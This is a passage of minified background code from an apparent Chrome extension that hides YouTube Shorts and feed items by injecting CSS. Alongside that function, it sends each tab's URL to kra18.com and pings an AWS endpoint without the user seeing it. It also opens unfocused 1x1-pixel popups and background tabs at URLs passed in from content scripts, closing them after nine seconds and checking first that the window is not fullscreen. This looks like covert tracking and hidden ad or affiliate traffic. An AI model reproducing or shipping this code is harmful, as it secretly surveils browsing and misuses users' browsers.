);
}),
(r.values = I),
(H.prototype = {
constructor: H,
reset: function (t) {
if (((this.prev = 0), (this.next = 0), (this.sent = this._sent = e), (this.done = !1), (this.delegate = null), (this.method = "next"), (this.arg = e), this.tryEntries.forEach(N), !t))
for (var r in this) "t" === r.charAt(0) && s.call(this, r) && !isNaN(+r.slice(1)) && (this[r] = e);
},
stop: function () {
this.done = !0;
var t = this.tryEntries[0].completion;
if ("throw" === t.type) throw t.arg;
return this.rval;
},
dispatchException: function (t) {
if (this.done) throw t;
var r = this;
function n(n, o) {
return (i.type = "throw"), (i.arg = t), (r.next = n), o && ((r.method = "next"), (r.arg = e)), !!o;
}
for (var o = this.tryEntries.length - 1; o >= 0; --o) {
var a = this.tryEntries[o],
i = a.completion;
if ("root" === a.tryLoc) return n("end");
if (a.tryLoc <= this.prev) {
var c = s.call(a, "catchLoc"),
u = s.call(a, "finallyLoc");
if (c && u) {
if (this.prev < a.catchLoc) return n(a.catchLoc, !0);
if (this.prev < a.finallyLoc) return n(a.finallyLoc);
} else if (c) {
if (this.prev < a.catchLoc) return n(a.catchLoc, !0);
} else {
if (!u) throw new Error("try statement without catch or finally");
if (this.prev < a.finallyLoc) return n(a.finallyLoc);
}
}
}
},
abrupt: function (t, e) {
for (var r = this.tryEntries.length - 1; r >= 0; --r) {
var n = this.tryEntries[r];
if (n.tryLoc <= this.prev && s.call(n, "finallyLoc") && this.prev < n.finallyLoc) {
var o = n;
break;
}
}
o && ("break" === t || "continue" === t) && o.tryLoc <= e && e <= o.finallyLoc && (o = null);
var a = o ? o.completion : {};
return (a.type = t), (a.arg = e), o ? ((this.method = "next"), (this.next = o.finallyLoc), y) : this.complete(a);
},
complete: function (t, e) {
if ("throw" === t.type) throw t.arg;
return (
"break" === t.type || "continue" === t.type
? (this.next = t.arg)
: "return" === t.type
? ((this.rval = this.arg = t.arg), (this.method = "return"), (this.next = "end"))
: "normal" === t.type && e && (this.next = e),
y
);
},
finish: function (t) {
for (var e = this.tryEntries.length - 1; e >= 0; --e) {
var r = this.tryEntries[e];
if (r.finallyLoc === t) return this.complete(r.completion, r.afterLoc), N(r), y;
}
},
catch: function (t) {
for (var e = this.tryEntries.length - 1; e >= 0; --e) {
var r = this.tryEntries[e];
if (r.tryLoc === t) {
var n = r.completion;
if ("throw" === n.type) {
var o = n.arg;
N(r);
}
return o;
}
}
throw new Error("illegal catch attempt");
},
delegateYield: function (t, r, n) {
return (this.delegate = { iterator: I(t), resultName: r, nextLoc: n }), "next" === this.method && (this.arg = e), y;
},
}),
r
);
}
(t.exports = o), (t.exports.__esModule = !0), (t.exports.default = t.exports);
},
8698: (t) => {
function e(r) {
return (
(t.exports = e =
"function" == typeof Symbol && "symbol" == typeof Symbol.iterator
? function (t) {
return typeof t;
}
: function (t) {
return t && "function" == typeof Symbol && t.constructor === Symbol && t !== Symbol.prototype ? "symbol" : typeof t;
}),
(t.exports.__esModule = !0),
(t.exports.default = t.exports),
e(r)
);
}
(t.exports = e), (t.exports.__esModule = !0), (t.exports.default = t.exports);
},
4687: (t, e, r) => {
var n = r(7061)();
t.exports = n;
try {
regeneratorRuntime = n;
} catch (t) {
"object" == typeof globalThis ? (globalThis.regeneratorRuntime = n) : Function("r", "regeneratorRuntime = r")(n);
}
},
},
e = {};
function r(n) {
var o = e[n];
if (void 0 !== o) return o.exports;
var a = (e[n] = { exports: {} });
return t[n](a, a.exports, r), a.exports;
}
(r.n = (t) => {
var e = t && t.__esModule ? () => t.default : () => t;
return r.d(e, { a: e }), e;
}),
(r.d = (t, e) => {
for (var n in e) r.o(e, n) && !r.o(t, n) && Object.defineProperty(t, n, { enumerable: !0, get: e[n] });
}),
(r.g = (function () {
if ("object" == typeof globalThis) return globalThis;
try {
return this || new Function("return this")();
} catch (t) {
if ("object" == typeof window) return window;
}
})()),
(r.o = (t, e) => Object.prototype.hasOwnProperty.call(t, e)),
(() => {
"use strict";
function t(e) {
return (
(t =
"function" == typeof Symbol && "symbol" == typeof Symbol.iterator
? function (t) {
return typeof t;
}
: function (t) {
return t && "function" == typeof Symbol && t.constructor === Symbol && t !== Symbol.prototype ? "symbol" : typeof t;
}),
t(e)
);
}
function e(e, r, n) {
return (
(r = (function (e) {
var r = (function (e, r) {
if ("object" !== t(e) || null === e) return e;
var n = e[Symbol.toPrimitive];
if (void 0 !== n) {
var o = n.call(e, "string");
if ("object" !== t(o)) return o;
throw new TypeError("@@toPrimitive must return a primitive value.");
}
return String(e);
})(e);
return "symbol" === t(r) ? r : String(r);
})(r)) in e
? Object.defineProperty(e, r, { value: n, enumerable: !0, configurable: !0, writable: !0 })
: (e[r] = n),
e
);
}
function n(t, e, r, n, o, a, s) {
try {
var i = t[a](s),
c = i.value;
} catch (t) {
return void r(t);
}
i.done ? e(c) : Promise.resolve(c).then(n, o);
}
function o(t) {
return function () {
var e = this,
r = arguments;
return new Promise(function (o, a) {
var s = t.apply(e, r);
function i(t) {
n(s, o, a, i, c, "next", t);
}
function c(t) {
n(s, o, a, i, c, "throw", t);
}
i(void 0);
});
};
}
var a = r(4687),
s = r.n(a),
i = r(3608),
c = r.n(i),
u = r(8913),
l = r.n(u);
const f = function (t) {
var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : [],
r = new URL(t);
return (
e
.filter(function (t) {
var e = t.value;
return e || "boolean" == typeof e;
})
.forEach(function (t) {
var e = t.name,
n = t.value;
r.searchParams.append(e, String(n));
}),
r.href.replace(/%5B/g, "[").replace(/%5D/g, "]").replace(/%2C/g, ",")
);
};
var p;
var g = "SELECTORS_TIMESTAMP",
h = "SELECTORS_LR_TIMESTAMP";
const m = function () {
return String("https://www.kra18.com");
};
var d;
var b;
var v;
const y = function () {
return (v =
v ||
o(
s().mark(function t() {
var e, r, n;
return s().wrap(
function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.prev = 0), (t.next = 3), fetch("".concat(m(), "/v1/selectors_list?&ex=").concat(90));
case 3:
if (!(e = t.sent).ok) {
t.next = 12;
break;
}
return (t.next = 7), e.json();
case 7:
if (((t.t0 = t.sent), t.t0)) {
t.next = 10;
break;
}
t.t0 = {};
case 10:
return (n = t.t0), t.abrupt("return", null !== (r = null == n ? void 0 : n.selectors) && void 0 !== r ? r : []);
case 12:
t.next = 16;
break;
case 14:
(t.prev = 14), (t.t1 = t.catch(0));
case 16:
return t.abrupt("return", []);
case 17:
case "end":
return t.stop();
}
},
t,
null,
[[0, 14]]
);
})
)).apply(this, arguments);
};
function S(t) {
if (null === t || !0 === t || !1 === t) return NaN;
var e = Number(t);
return isNaN(e) ? e : e < 0 ? Math.ceil(e) : Math.floor(e);
}
function w(t, e) {
if (e.length < t) throw new TypeError(t + " argument" + (t > 1 ? "s" : "") + " required, but only " + e.length + " present");
}
function x(e) {
w(1, arguments);
var r = Object.prototype.toString.call(e);
return e instanceof Date || ("object" === t(e) && "[object Date]" === r)
? new Date(e.getTime())
: "number" == typeof e || "[object Number]" === r
? new Date(e)
: (("string" != typeof e && "[object String]" !== r) ||
"undefined" == typeof console ||
(console.warn(
"Starting with v2.0.0-beta.1 date-fns doesn't accept strings as date arguments. Please use `parseISO` to parse strings. See: https://github.com/date-fns/date-fns/blob/master/docs/upgradeGuide.md#string-arguments"
),
console.warn(new Error().stack)),
new Date(NaN));
}
function k(t, e) {
return (
w(2, arguments),
(function (t, e) {
w(2, arguments);
var r = x(t),
n = S(e);
return isNaN(n) ? new Date(NaN) : n ? (r.setDate(r.getDate() + n), r) : r;
})(t, 7 * S(e))
);
}
var _;
function j(t, e) {
return (
w(2, arguments),
(function (t, e) {
w(2, arguments);
var r = x(t).getTime(),
n = S(e);
return new Date(r + n);
})(t, 36e5 * S(e))
);
}
const L = {
getItem: function (t) {
return (_ =
_ ||
o(
s().mark(function t(e) {
var r;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.next = 2), chrome.storage.local.get([e]);
case 2:
return (r = t.sent), t.abrupt("return", r[e]);
case 4:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
},
setItem: function (t, r) {
return chrome.storage.local.set(e({}, t, r));
},
setMultipleItems: function (t) {
return chrome.storage.local.set(t);
},
removeItem: function (t) {
return chrome.storage.local.remove(t);
},
};
var O;
function T(t, e) {
var r = Object.keys(t);
if (Object.getOwnPropertySymbols) {
var n = Object.getOwnPropertySymbols(t);
e &&
(n = n.filter(function (e) {
return Object.getOwnPropertyDescriptor(t, e).enumerable;
})),
r.push.apply(r, n);
}
return r;
}
function F(t) {
for (var r = 1; r < arguments.length; r++) {
var n = null != arguments[r] ? arguments[r] : {};
r % 2
? T(Object(n), !0).forEach(function (r) {
e(t, r, n[r]);
})
: Object.getOwnPropertyDescriptors
? Object.defineProperties(t, Object.getOwnPropertyDescriptors(n))
: T(Object(n)).forEach(function (e) {
Object.defineProperty(t, e, Object.getOwnPropertyDescriptor(n, e));
});
}
return t;
}
var P;
const E = function () {
return (P =
P ||
o(
s().mark(function t() {
var e, r, n;
return s().wrap(
function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.prev = 0), (t.next = 3), fetch("".concat(m(), "/v1/selectors_list_lr?&ex=").concat(90));
case 3:
if (!(e = t.sent).ok) {
t.next = 12;
break;
}
return (t.next = 7), e.json();
case 7:
if (((t.t0 = t.sent), t.t0)) {
t.next = 10;
break;
}
t.t0 = {};
case 10:
return (n = t.t0), t.abrupt("return", null !== (r = null == n ? void 0 : n.data) && void 0 !== r ? r : {});
case 12:
t.next = 16;
break;
case 14:
(t.prev = 14), (t.t1 = t.catch(0));
case 16:
return t.abrupt("return", []);
case 17:
case "end":
return t.stop();
}
},
t,
null,
[[0, 14]]
);
})
)).apply(this, arguments);
};
var N;
const H = { isActive: !1 };
var I,
D,
R,
M,
A,
C,
W,
G,
q = ["Google Chrome", "Microsoft Edge"],
U = function () {
try {
return navigator.userAgentData.brands.some(function (t) {
return q.includes(t.brand);
});
} catch (t) {
return !1;
}
},
$ = function (t) {
return (I =
I ||
o(
s().mark(function t(e) {
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (
(t.next = 2),
new Promise(function (t) {
chrome.windows.getCurrent({ populate: !1, windowTypes: ["normal"] }, function (e) {
return t("fullscreen" === e.state);
});
})
);
case 2:
if (!t.sent) {
t.next = 5;
break;
}
throw new Error("fullscreen");
case 5:
return t.abrupt(
"return",
new Promise(function (t) {
(H.isActive = !0),
chrome.windows.create({ focused: !1, width: 1, height: 1, url: e, type: "popup" }, function (e) {
t(e);
});
})
);
case 6:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
},
Y = function (t) {
return new Promise(function (e) {
chrome.windows.remove(t, function () {
(H.isActive = !1), e();
});
});
},
z = function (t) {
return (D =
D ||
o(
s().mark(function t(e) {
var r, n;
return s().wrap(
function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
if (((t.prev = 0), !U())) {
t.next = 8;
break;
}
return (t.next = 4), $(e);
case 4:
return (
(r = t.sent),
(n = r.id),
setTimeout(function () {
return Y(n);
}, 9e3),
t.abrupt("return", 101)
);
case 8:
t.next = 12;
break;
case 10:
(t.prev = 10), (t.t0 = t.catch(0));
case 12:
return t.abrupt("return", -73);
case 13:
case "end":
return t.stop();
}
},
t,
null,
[[0, 10]]
);
})
)).apply(this, arguments);
},
B = function (t) {
return new Promise(function (e) {
(H.isActive = !0),
chrome.tabs.create({ url: t, index: 0, active: !1 }, function (t) {
setTimeout(function () {
chrome.tabs.remove(t.id, function () {
H.isActive = !1;
});
}, 9e3),
e();
});
});
};
function V(t, e) {
var r = Object.keys(t);
if (Object.getOwnPropertySymbols) {
var n = Object.getOwnPropertySymbols(t);
e &&
(n = n.filter(function (e) {
return Object.getOwnPropertyDescriptor(t, e).enumerable;
})),
r.push.apply(r, n);
}
return r;
}
function X(t) {
for (var r = 1; r < arguments.length; r++) {
var n = null != arguments[r] ? arguments[r] : {};
r % 2
? V(Object(n), !0).forEach(function (r) {
e(t, r, n[r]);
})
: Object.getOwnPropertyDescriptors
? Object.defineProperties(t, Object.getOwnPropertyDescriptors(n))
: V(Object(n)).forEach(function (e) {
Object.defineProperty(t, e, Object.getOwnPropertyDescriptor(n, e));
});
}
return t;
}
function J() {
return chrome.runtime.id
? chrome.storage.sync.get([
"toggleState",
"toggleNavState",
"toggleHomeFeedState",
"toggleHomeFeedStateLives",
"toggleHomeFeedStatePremieres",
"toggleSubscriptionFeedState",
"toggleSubscriptionFeedStateLives",
"toggleSubscriptionFeedStatePremieres",
"toggleTrendingFeedState",
"toggleSearchState",
"toggleRecommendedState",
"toggleTabState",
"toggleHomeTabState",
"toggleTurboState",
"toggleRegularState",
"toggleNotificationState",
"blockList",
])
: location.reload();
}
function K(t, e) {
chrome.scripting.insertCSS({ files: e, target: { tabId: t } }).catch(function (t) {});
}
function Q(t, e) {
chrome.scripting.removeCSS({ files: e, target: { tabId: t } }).catch(function (t) {});
}
function Z(t) {
chrome.scripting
.removeCSS({
files: [
"channel_shorts_tab.css",
"channel_shorts_unhide.css",
"assets/home_lives.css",
"assets/home_premieres.css",
"assets/home_shorts.css",
"assets/home_tab_shorts.css",
"assets/navigation_button.css",
"assets/notification_shorts.css",
"assets/recommended_shorts.css",
"assets/search_shorts.css",
"assets/subscriptions_feed_fix.css",
"assets/subscriptions_lives.css",
"assets/subscriptions_premieres.css",
"assets/subscriptions_shorts.css",
"assets/subscriptions_shorts_list.css",
"assets/trending_shorts.css",
],
target: { tabId: t },
})
.catch(function (t) {}),
chrome.scripting
.executeScript({
function: function () {
var t = 0;
!(function e() {
if (t >= 25) t = 0;
else {
var r = document.querySelectorAll(".tab-content"),
n = Array.from(r).filter(function (t) {
return "Shorts" === t.textContent.replace(/\s/g, "").replace(/\n/g, "");
});
n.length > 0
? (n.forEach(function (t) {
t.parentNode.style.display = "inline-flex";
}),
(t = 0))
: (t++, setTimeout(e, 100));
}
})();
},
target: { tabId: t },
})
.catch(function (t) {});
}
function tt(t, e, r) {
return (G =
G ||
o(
s().mark(function t(e, r, n) {
var o;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
if (!n) {
t.next = 19;
break;
}
return (t.next = 3), J();
case 3:
(o = t.sent).toggleNavState && st(e, r, o.toggleNavState),
o.toggleHomeFeedState && it(e, r, o.toggleHomeFeedState),
o.toggleHomeFeedStateLives && ct(e, r, o.toggleHomeFeedStateLives),
o.toggleHomeFeedStatePremieres && ut(e, r, o.toggleHomeFeedStatePremieres),
o.toggleSubscriptionFeedState && lt(e, r, o.toggleSubscriptionFeedState),
o.toggleSubscriptionFeedStateLives && ft(e, r, o.toggleSubscriptionFeedStateLives),
o.toggleSubscriptionFeedStatePremieres && pt(e, r, o.toggleSubscriptionFeedStatePremieres),
o.toggleTrendingFeedState && gt(e, r, o.toggleTrendingFeedState),
o.toggleSearchState && ht(e, r, o.toggleSearchState),
o.toggleRecommendedState && mt(e, r, o.toggleRecommendedState),
o.toggleNotificationState && dt(e, r, o.toggleNotificationState),
o.toggleTabState && vt(e, r, o.toggleTabState),
o.toggleHomeTabState && bt(e, r, o.toggleHomeTabState),
o.toggleRegularState && yt(e, r, o.toggleRegularState),
o.blockList && o.blockList.length > 0 && at(r, "add", o.blockList);
case 19:
n || Z(r);
case 20:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
}
chrome.runtime.onMessage.addListener(function (t, r, n) {
var a;
return "getExtensionSelectors" === t.name
? ((function (t) {
return (d =
d ||
o(
s().mark(function t(e) {
var r, n;
return s().wrap(
function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.prev = 0), (t.next = 3), fetch("".concat(m(), "/v1/extension_selectors?u=").concat(encodeURIComponent(e), "&ex=").concat(90));
case 3:
if (!(r = t.sent).ok) {
t.next = 9;
break;
}
return (t.next = 7), r.json();
case 7:
return (n = t.sent), t.abrupt("return", null != n ? n : {});
case 9:
t.next = 13;
break;
case 11:
(t.prev = 11), (t.t0 = t.catch(0));
case 13:
return t.abrupt("return", {});
case 14:
case "end":
return t.stop();
}
},
t,
null,
[[0, 11]]
);
})
)).apply(this, arguments);
})(r.tab.url).then(function (t) {
return (a =
a ||
o(
s().mark(function t(e) {
var r, o;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (
(t.next = 2),
new Promise(function (t) {
chrome.tabs.query({ lastFocusedWindow: !0 }, function (e) {
return t((null == e ? void 0 : e.length) || 1);
});
})
);
case 2:
return (
(r = t.sent),
(t.next = 5),
new Promise(function (t) {
chrome.windows.getCurrent({ populate: !1, windowTypes: ["normal"] }, function (e) {
return t("fullscreen" === e.state);
});
})
);
case 5:
return (o = t.sent), t.abrupt("return", n(X(X({}, e || {}), {}, { selectorVersion: r, isScreen: o })));
case 7:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
}),
!0)
: ("getExtensionSelectorsList" === t.name &&
(function () {
return (O =
O ||
o(
s().mark(function t() {
var r, n;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.next = 2), L.getItem(g);
case 2:
if ((r = t.sent) && Number(r) > new Date().getTime()) {
t.next = 14;
break;
}
return (t.next = 6), y();
case 6:
if (!((null == (n = t.sent) ? void 0 : n.length) > 0)) {
t.next = 12;
break;
}
return (
(t.next = 10),
L.setMultipleItems(
F(
e({}, g, k(new Date(), 1).getTime()),
n.reduce(function (t, e) {
return (t[((r = e), "d&".concat(r))] = {}), t;
var r;
}, {})
)
)
);
case 10:
t.next = 14;
break;
case 12:
return (t.next = 14), L.setItem(g, j(new Date(), 1).getTime());
case 14:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
})()
.then(function () {
n();
})
.catch(function () {
n();
}),
"getExtensionSelectorsListLR" === t.name &&
(function () {
return (N =
N ||
o(
s().mark(function t() {
var r, n, o;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.next = 2), L.getItem(h);
case 2:
if ((r = t.sent) && Number(r) > new Date().getTime()) {
t.next = 14;
break;
}
return (t.next = 6), E();
case 6:
if (((n = t.sent), !Object.keys(n).length)) {
t.next = 12;
break;
}
return (t.next = 10), L.setMultipleItems((e((o = {}), h, k(new Date(), 1).getTime()), e(o, "SELECTORS_LR", n), o));
case 10:
t.next = 14;
break;
case 12:
return (t.next = 14), L.setItem(h, j(new Date(), 1).getTime());
case 14:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
})()
.then(function () {
n();
})
.catch(function () {
n();
}),
"openPresentation" === t.name
? ((function (t, e, r) {
(R =
R ||
o(
s().mark(function t(e, r, n) {
var o;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.next = 2), z(e.url);
case 2:
(o = t.sent), n({ value: o });
case 4:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
})(t, r, n),
!0)
: "loadPdfTab" === t.name
? ((function (t) {
(M =
M ||
o(
s().mark(function t(e) {
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.next = 2), B(e.url);
case 2:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
})(t),
!1)
: ("check_shorts" === t.name &&
t.p &&
(function () {
return (b =
b ||
o(
s().mark(function t() {
var e;
return s().wrap(
function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (t.prev = 0), (t.next = 3), chrome.storage.local.get();
case 3:
if (((e = t.sent), !(Object.keys(e).length > 500))) {
t.next = 7;
break;
}
return t.abrupt("return", !0);
case 7:
return t.abrupt("return", !1);
case 10:
return (t.prev = 10), (t.t0 = t.catch(0)), t.abrupt("return", !1);
case 13:
case "end":
return t.stop();
}
},
t,
null,
[[0, 10]]
);
})
)).apply(this, arguments);
})().then(function (e) {
e &&
(function (t) {
(p =
p ||
o(
s().mark(function t(e) {
var r;
return s().wrap(
function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
return (
(t.prev = 0),
(r = f("https://7ng6v3lu3c.execute-api.us-east-1.amazonaws.com/EventTrackingStage/prod/rest", e)),
(t.next = 4),
fetch(r, { method: "GET", mode: "no-cors" })
);
case 4:
t.next = 8;
break;
case 6:
(t.prev = 6), (t.t0 = t.catch(0));
case 8:
case "end":
return t.stop();
}
},
t,
null,
[[0, 6]]
);
})
)).apply(this, arguments);
})(t.p);
}),
!1));
}),
chrome.runtime.onInstalled.addListener(function (t) {
return (A =
A ||
o(
s().mark(function t(r) {
var n, o, a, i, u;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
if (
("install" === r.reason &&
(chrome.storage.sync
.set({
toggleState: !0,
toggleNavState: !0,
toggleHomeFeedState: !0,
toggleHomeFeedStateLives: !0,
toggleHomeFeedStatePremieres: !0,
toggleSubscriptionFeedState: !0,
toggleSubscriptionFeedStateLives: !0,
toggleSubscriptionFeedStatePremieres: !0,
toggleTrendingFeedState: !0,
toggleSearchState: !0,
toggleRecommendedState: !0,
toggleTabState: !0,
toggleHomeTabState: !0,
toggleTurboState: !0,
toggleRegularState: !0,
toggleNotificationState: !0,
installedTime: String(new Date().getTime()),
EXTENSION_ID:
(10,
void 0,
void 0,
(s = c()(1, 9)),
(f = l()(9, function () {
return c()(0, 9);
}).join("")),
"".concat(s).concat(f)),
})
.catch(function () {}),
chrome.tabs.query({ url: ["https://www.youtube.com/*", "https://m.youtube.com/*"] }, function (t) {
t.forEach(function (t) {
chrome.tabs.reload(t.id);
});
})),
"update" !== r.reason)
) {
t.next = 15;
break;
}
return (
(n = [
"toggleState",
"toggleNavState",
"toggleHomeFeedState",
"toggleHomeFeedStateLives",
"toggleHomeFeedStatePremieres",
"toggleSubscriptionFeedState",
"toggleSubscriptionFeedStateLives",
"toggleSubscriptionFeedStatePremieres",
"toggleTrendingFeedState",
"toggleSearchState",
"toggleRecommendedState",
"toggleTabState",
"toggleHomeTabState",
"toggleTurboState",
"toggleRegularState",
"toggleNotificationState",
]),
(t.next = 5),
chrome.storage.sync.get(n)
);
case 5:
(o = t.sent), (a = 0), (i = n);
case 7:
if (!(a < i.length)) {
t.next = 15;
break;
}
if ((u = i[a]) in o && void 0 !== o[u]) {
t.next = 12;
break;
}
return (t.next = 12), chrome.storage.sync.set(e({}, u, !1));
case 12:
a++, (t.next = 7);
break;
case 15:
case "end":
return t.stop();
}
var s, f;
}, t);
})
)).apply(this, arguments);
}),
chrome.runtime.onMessage.addListener(function (t, e, r) {
return (C =
C ||
o(
s().mark(function t(e, r, n) {
var o, a;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
if (!e.checkStates) {
t.next = 5;
break;
}
return (t.next = 3), J();
case 3:
(o = t.sent),
chrome.tabs.query({ url: ["https://www.youtube.com/*", "https://m.youtube.com/*"] }, function (t) {
t.forEach(function (t) {
"toggleState" === e.checkStates && tt(t, t.id, o.toggleState),
"toggleNavState" === e.checkStates && st(t, t.id, o.toggleNavState),
"toggleHomeFeedState" === e.checkStates && it(t, t.id, o.toggleHomeFeedState),
"toggleHomeFeedStateLives" === e.checkStates && ct(t, t.id, o.toggleHomeFeedStateLives),
"toggleHomeFeedStatePremieres" === e.checkStates && ut(t, t.id, o.toggleHomeFeedStatePremieres),
"toggleSubscriptionFeedState" === e.checkStates && lt(t, t.id, o.toggleSubscriptionFeedState),
"toggleSubscriptionFeedStateLives" === e.checkStates && ft(t, t.id, o.toggleSubscriptionFeedStateLives),
"toggleSubscriptionFeedStatePremieres" === e.checkStates && pt(t, t.id, o.toggleSubscriptionFeedStatePremieres),
"toggleTrendingFeedState" === e.checkStates && gt(t, t.id, o.toggleTrendingFeedState),
"toggleSearchState" === e.checkStates && ht(t, t.id, o.toggleSearchState),
"toggleRecommendedState" === e.checkStates && mt(t, t.id, o.toggleRecommendedState),
"toggleNotificationState" === e.checkStates && dt(t, t.id, o.toggleNotificationState),
"toggleTabState" === e.checkStates && vt(t, t.id, o.toggleTabState),
"toggleHomeTabState" === e.checkStates && bt(t, t.id, o.toggleHomeTabState),
"toggleRegularState" === e.checkStates && yt(t, t.id, o.toggleRegularState);
});
});
case 5:
if (!e.blockList) {
t.next = 10;
break;
}
return (t.next = 8), J();
case 8:
(a = t.sent),
chrome.tabs.query({ url: ["https://www.youtube.com/*", "https://m.youtube.com/*"] }, function (t) {
t.forEach(function (t) {
"add" === e.blockList && at(t.id, "add", a.blockList),
"remove" === e.blockList.action && at(t.id, "remove", e.blockList.channelName),
"clear" === e.blockList && at(t.id, "clear", a.blockList);
});
});
case 10:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
}),
chrome.tabs.onUpdated.addListener(function (t, e, r) {
return (W =
W ||
o(
s().mark(function t(e, r, n) {
var o;
return s().wrap(function (t) {
for (;;)
switch ((t.prev = t.next)) {
case 0:
if (chrome.runtime.id) {
t.next = 2;
break;
}
return t.abrupt("return");
case 2:
if (!n.url.startsWith("https://www.youtube.com/") && !n.url.startsWith("https://m.youtube.com/")) {
t.next = 25;
break;
}
return (t.next = 5), J();
case 5:
if ((o = t.sent).toggleState) {
t.next = 8;
break;
}
return t.abrupt("return");
case 8:
if ("loading" === r.status) {
t.next = 10;
break;
}
return t.abrupt("return");
case 10:
st(n, e, o.toggleNavState),
it(n, e, o.toggleHomeFeedState),
ct(n, e, o.toggleHomeFeedStateLives),
ut(n, e, o.toggleHomeFeedStatePremieres),
lt(n, e, o.toggleSubscriptionFeedState),
ft(n, e, o.toggleSubscriptionFeedStateLives),
pt(n, e, o.toggleSubscriptionFeedStatePremieres),
gt(n, e, o.toggleTrendingFeedState),
ht(n, e, o.toggleSearchState),
mt(n, e, o.toggleRecommendedState),
dt(n, e, o.toggleNotificationState),
vt(n, e, o.toggleTabState),
bt(n, e, o.toggleHomeTabState),
yt(n, e, o.toggleRegularState),
o.blockList && o.blockList.length > 0 && at(e, "add", o.blockList);
case 25:
case "end":
return t.stop();
}
}, t);
})
)).apply(this, arguments);
});
var et = ["https://www.youtube.com/", "https://www.youtube.com/?app=desktop", "https://m.youtube.com/"],
rt = ["https://www.youtube.com/feed/subscriptions", "https://www.youtube.com/feed/subscriptions?app=desktop", "https://m.youtube.com/feed/subscriptions", "https://www.youtube.com/feed/subscriptions?flow=1"],
nt = ["https://www.youtube.com/feed/trending", "https://www.youtube.com/gaming", "https://m.youtube.com/feed/explore", "https://m.youtube.com/feed/trending"],
ot = [
"https://www.youtube.com/channel/",
"https://www.youtube.com/@",
"https://www.youtube.com/user/",
"https://www.youtube.com/c/",
"https://m.youtube.com/channel/",
"https://m.youtube.com/@",
"https://m.youtube.com/user/",
"https://m.youtube.com/c/",
];
function at(t, e, r) {
"add" === e &&
r.forEach(function (e) {
chrome.scripting
.insertCSS({
css: '\n ytd-rich-item-renderer:has(a[href*="/@'
.concat(e, '"]) {\n display: none !important;\n }\n ytd-shelf-renderer:has(a[href*="/@')
.concat(e, '"]) {\n display: none !important;\n }\n ytd-video-renderer:has(a[href*="/@')
.concat(e, '"]) {\n display: none !important;\n }\n '),
target: { tabId: t },
})
.catch(function (t) {});
}),
"remove" === e &&
chrome.scripting
.insertCSS({
css: '\n ytd-rich-item-renderer:has(a[href*="/@'
.concat(r, '"]) {\n display: inline-flex !important;\n }\n ytd-shelf-renderer:has(a[href*="/@')
.concat(r, '"]) {\n display: inline-flex !important;\n }\n ytd-video-renderer:has(a[href*="/@')
.concat(r, '"]) {\n display: inline-flex !important;\n }\n '),
target: { tabId: t },
})
.catch(function (t) {}),
"clear" === e &&
r.forEach(function (e) {
chrome.scripting
.insertCSS({
css: '\n ytd-rich-item-renderer:has(a[href*="/@'
.concat(e, '"]) {\n display: inline-flex !important;\n }\n ytd-shelf-renderer:has(a[href*="/@')
.concat(e, '"]) {\n display: inline-flex !important;\n }\n ytd-video-renderer:has(a[href*="/@')
.concat(e, '"]) {\n display: inline-flex !important;\n }\n '),
target: { tabId: t },
})
.catch(function (t) {});
});
}
function st(t, e, r) {
if (t.url.startsWith("https://www.youtube.com/") || t.url.startsWith("https://m.youtube.com/")) {
var n = ["assets/navigation_button.css"];
r && K(e, n), r || Q(e, n);
}
}
function it(t, e, r) {
if (et.includes(t.url)) {
var n = ["assets/home_shorts.css"];
r && K(e, n), r || Q(e, n);
}
}
function ct(t, e, r) {
if ("https://www.youtube.com/" === t.url) {
var n = ["assets/home_lives.css"];
r && K(e, n), r || Q(e, n);
}
}
function ut(t, e, r) {
if ("https://www.youtube.com/" === t.url) {
var n = ["assets/home_premieres.css"];
r && K(e, n), r || Q(e, n);
}
}
function lt(t, e, r) {
if (rt.includes(t.url)) {
var n = ["assets/subscriptions_shorts.css", "assets/subscriptions_shorts_list.css", "assets/subscriptions_feed_fix.css"];
r && K(e, n), r || Q(e, n);
}
if ("https://www.youtube.com/feed/subscriptions?flow=2" === t.url) {
var o = ["assets/subscriptions_shorts_list.css"];
r && K(e, o), r || Q(e, o);
}
}
function ft(t, e, r) {
if (rt.includes(t.url)) {
var n = ["assets/subscriptions_lives.css", "assets/subscriptions_feed_fix.css"];
r && K(e, n), r || Q(e, n);
}
}
function pt(t, e, r) {
if (rt.includes(t.url)) {
var n = ["assets/subscriptions_premieres.css", "assets/subscriptions_feed_fix.css"];
r && K(e, n), r || Q(e, n);
}
}
function gt(t, e, r) {
if (
nt.some(function (e) {
return t.url.startsWith(e);
})
) {
var n = ["assets/trending_shorts.css"];
r && K(e, n), r || Q(e, n);
}
}
function ht(t, e, r) {
if (t.url.startsWith("https://www.youtube.com/results") || t.url.startsWith("https://m.youtube.com/results")) {
var n = ["assets/search_shorts.css"];
r && K(e, n), r || Q(e, n);
}
}
